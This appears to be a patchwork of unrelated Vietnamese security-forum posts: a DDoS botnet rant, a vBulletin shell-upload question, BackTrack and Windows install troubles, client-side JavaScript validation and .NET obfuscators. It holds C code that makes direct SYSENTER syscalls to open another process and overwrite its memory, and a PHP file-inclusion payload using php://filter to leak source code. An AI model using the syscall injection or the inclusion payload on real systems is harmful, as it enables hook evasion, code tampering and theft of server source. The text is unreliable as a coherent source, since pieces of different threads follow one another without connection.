Tụi stl code bot ồ ạt mà quên nguyên tắc "secure coding", muốn làm bot crash thì dể lắm đấy .lht. à ! Nhưng máy của victim crash chứ có phải máy tụi nó đâu, nên tụi nó "đông ke" ! 

He he, sáng nay grep awk sed mớ logs thì thấy các bạn STL "thử" lung tung . Công nhận secure website để kiddies không phá phách bậy bạ thì không khó nhưng secure website để khỏi bị DDoS kiểu "crawler" thì mệt thiệt.

Cái "hiệu lệnh" xml của các bạn STL có những limitation (hoặc flaw) không nhỏ nhưng có điều, tớ chả rảnh để viết thêm một ký sự DDoS HVA cho nên các bạn tự mà phân tích những limitation ấy . Ngay cả những con zombies cũng bị những limitation khác. Nếu webserver bị DDoS mà respond một dạng packet có nội dung nhất định nào đó thì có thể làm "teo" con zombie và teo máy chạy zombie (nhưng có lẽ các bạn không quan tâm mấy con zombies bị treo), các bạn chỉ quan tâm đến việc có zombies để phá hoại mà thôi, phải không nào?  

Em có 1 4rum bằng vbb 4.0.0 (Em lập ra nhằm mục đích nghiên cứu là chính).
Sáng nay em vào thì bị hacker tấn công bằng phương pháp upload shell vào MySQL. Em đã khắc phục bằng phương pháp drop toàn bộ database và import lại. Hiện giờ thì tạm ổn rồi.
Vậy em có vài vấn đề thế này:
- Hacker dùng cách nào để upload shell ? Làm thế nào để khắc phục và ngăn chặn việc đó
- Lỗi đó là do vBB hay do host (vì là nghiên cứu nên e dùng toàn bộ free gồm: byethost và vbb 4.0.0 null)
Cảm ơn các bác đã đọc 

Tai sao khi cai Backtrack5 va xong buoc 4 thi he thong chuyen luon sang buoc 7, khong hien thi buoc tao user va pass .Nen sau khi khoi dong may de hoan thanh qua trinh cai dat roi tien hanh dang nhap toi khong the dang nhap duoc vi khong co user va pass. Vui long giup toi voi .Thank you
 

Each syscall number is moved into EAX and invoked through INT 2Eh. In Windows XP and later, the syscall mechanism had changed.

MOV EAX, 101h ; syscall number: NtTerminateProcess
MOV EDX, 7FFE0300h ; EDX = 7FFE0300h
CALL EDX ; call 7FFE0300h
RETN 8

Notice the difference. Instead of INT 2Eh, now it is replaced by CALL EDX which leads us to ntdll.KiFastSystemCall, a tiny stub containing the SYSENTER instruction.

MOV EDX, ESP
SYSENTER
RETN

 

#define SYSENTER __asm _emit 0x0F __asm _emit 0x34
DWORD NtOpenProcessCall,;
typedef struct _CLIENT_ID{
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID, *PCLIENT_ID;
DWORD GetCallNUM(LPCSTR FuncName)
{
HMODULE ntdll = GetModuleHandle("ntdll.dll");
if (!ntdll)
LoadLibrary("ntdll.dll");
DWORD sysenter = *(DWORD*)((DWORD)GetProcAddress(ntdll, FuncName) + 1);
return sysenter;
}
void InitFunction()
{
NtOpenProcessCall = GetCallNUM("NtOpenProcess");
}
_declspec(naked) void __stdcall SystemCall(void)
{
__asm
{
MOV EDX,ESP
SYSENTER
RET
}
}
__declspec(naked) NTSTATUS __stdcall
NtOpenProcess(PHANDLE ProcessHandle, ACCESS_MASK AccessMask, PVOID ObjectAttributes, PCLIENT_ID ClientID)
{
__asm
{
mov eax, NtOpenProcessCall
call SystemCall
retn 10h
}
}
void main()
{
InitFunction();
CLIENT_ID cid;
cid.UniqueThread = 0;
cid.UniqueProcess = (HANDLE)21060;
BYTE bBuffer[] = {0x90, 0x90, 0x90, 0x90};
DWORD nWritten;
HANDLE VictimHandle = 0;
OBJECT_ATTRIBUTES ObjectAttributes;
InitializeObjectAttributes(&ObjectAttributes, NULL, 0, 0, NULL);
NTSTATUS stt = NtOpenProcess(&VictimHandle, PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION | PROCESS_VM_WRITE, &ObjectAttributes, &cid);
WriteProcessMemory(VictimHandle, (void*)0x000A8BE0, &bBuffer, sizeof(bBuffer), &nWritten);
printf("0x%X \n",stt);
system("pause");
}

em chỉ biết sơ về javascript thôi, em có một thắc mắc này. các đoạn mã javascript được tải về chạy phía client vậy phía client có thể sửa lại code javascript để chạy theo ý mình muốn được không? giống như kiểu patch chương trình vậy đó
ví dụ như đoạn mã sau dùng để kiểm tra tên đăng nhập vào một chatroom, chỉ được nhập tên là các chữ cái, không được có các kí tự lạ như %><?~. Vậy làm sao có thể hack được?
<<em chỉ muốn học hỏi thêm về bảo mật, không có ý định phá hoại mong các anh đừng hiểu nhầm>>

function check() {
var i=0;
var strtopic=document.login.username.value;
//Xử lý khoảng trắng đầu chuỗi
if(strtopic.substring(i,i+1)==" "
while(strtopic.substring(i,i+1)== " " {
alert("Kí tự đầu tiên không được nhập khoảng trắng !!!";
document.getElementById('u1').value="";
document.login.username.focus();
i++;
return false;
}
for(;i<strtopic.length;i++) {
if(!isNaN(strtopic.charAt(0))) {
alert("Bắt đầu không thể là một kí tự số !!!");
document.getElementById('u1').value="";
document.login.username.focus();
return false;
}
//Xử lý khoảng trắng giữa chuỗi
/*if(strtopic.substring(i)==" ") {
alert("Nick không được có khoảng trắng !!!")
document.getElementById('u1').value="";
document.login.username.focus();
return false;
}*/
continue;
}
String.prototype.cleanup = function() {
//return this.toLowerCase().replace(/[^a-zA-Z0-9]+/g, "_");
return this.replace(/[^a-zA-Z0-9-_]+/g, "_");
}
// Using our new .cleanup() method
var clean = strtopic.cleanup(); // hello-world
document.getElementById('u1').value=clean;
return true;
}> 

include(www.abc.com/index.php?page=php://filter/read=convert.base64-encode/resource=index.”.php”);
 

.lht. wrote:

Anh có thể sử dụng CodeWall (thu phí) hoặc Eazfuscator.NET (miễn phí).

http://www.codewall.net
http://www.foss.kharkov.ua/g1/projects/eazfuscator/dotnet/Default.aspx 

OK, mình thử dùng phiên bản Eazfuscator.NET và thử luôn bản Dotfuscator Professional vậy.


 

tranminhnghia wrote:

bạn lên mạng search chương trình này Reflector. nó dịch ngược code viết bằng dotnet khác tốt. chắc phải trên 80%
còn muốn mã hoá, bạn có thể dùng Dotfuscator Community version tích hợp sẵn trong vs  

Cho tôi hỏi ở điểm này 1 chút, vấn đề mà tôi gặp phải cũng giống như chủ topic hỏi.
Tôi có biết chương trình dùng để dịch ngược mã nguồn .NET như Reflector, còn phần mềm giúp mã hoá nó là Dotfuscator . Điều mà tôi đặt câu hỏi ở đây, ngoài phần mềm Dotfuscator còn có phần mềm nào giúp mã hoá mã nguồn .NET đơn lẽ (không tích hợp vào bộ Visual C# 2008 Express) hay không vậy bạn?

Tôi mới làm quen với C# cách đây không lâu, để viết 1 phần mềm nho nhỏ phục vụ cho công việc của mình và cũng chẳng quan tâm đến Microsoft nên kiến thức, lựa chọn phần mềm bị giới hạn ...quá lớn.

 

chào các Bạn..!Mình ít tham gia ý kiến trên diễn đàn,nhưng hôm nay gặp trường hợp rắc rối này,mong các Bạn giúp đỡ...tốt nhất,là Bạn nào đã từng gặp rồi,để có sự đồng cảm chia sẻ.....

Máy tính Mình cài đóng băng,sau đó lỗi,nên Mình cài lại Win:
trong quá trình cài,thì mọi bước bình thường,nhưng đến bước copy file setup là máy báo copy không được 1 file nào đó.có lúc được 18% báo lỗi hay 12%,8%.nói chung là không cố định.Nếu ấn skip để bỏ qua file thiếu đó,thì Máy lại không copy được file khác => lỗi.

Theo Mình suy đoán có thể do:Ram,cd,đĩa cứng.

- Đĩa cứng: Mình đã delete phân vùng đó,dùng phân vùng khác và phân vùng này là phân vùng trước giờ ẩn chưa sử dụng.
- CD: Mình đã thay đĩa khác,hai đĩa đó đều sài bình thường.Mình cũng đã thử cài Win khác.
Ổ cd rom Mình đã thay 3 ổ,chỉ chưa mua 1 ổ mới gắn vào thôi.
-Ram:Mình đã dùng phần mềm trong hiren boot test.và dùng các hệ điều hành mini chạy trên CD,thì Máy chạy bình thường.

trước đây bạn Mình cũng bị như vậy,và cũng chẳng có cách gì,về sau phải mua đĩa ghot xpsp2 về ghot.còn không thì phải kiếm cái HDD khác có sẵn Win vào HDH cài Win lên HDD của Mình.
Bạn Mình cũng sài deep freeze xong bị lỗi.không lẽ deep freeze lợi hại thế.?


THanks Bạn..!.vì đã xem qua,Mình ghi hơi dài dòng.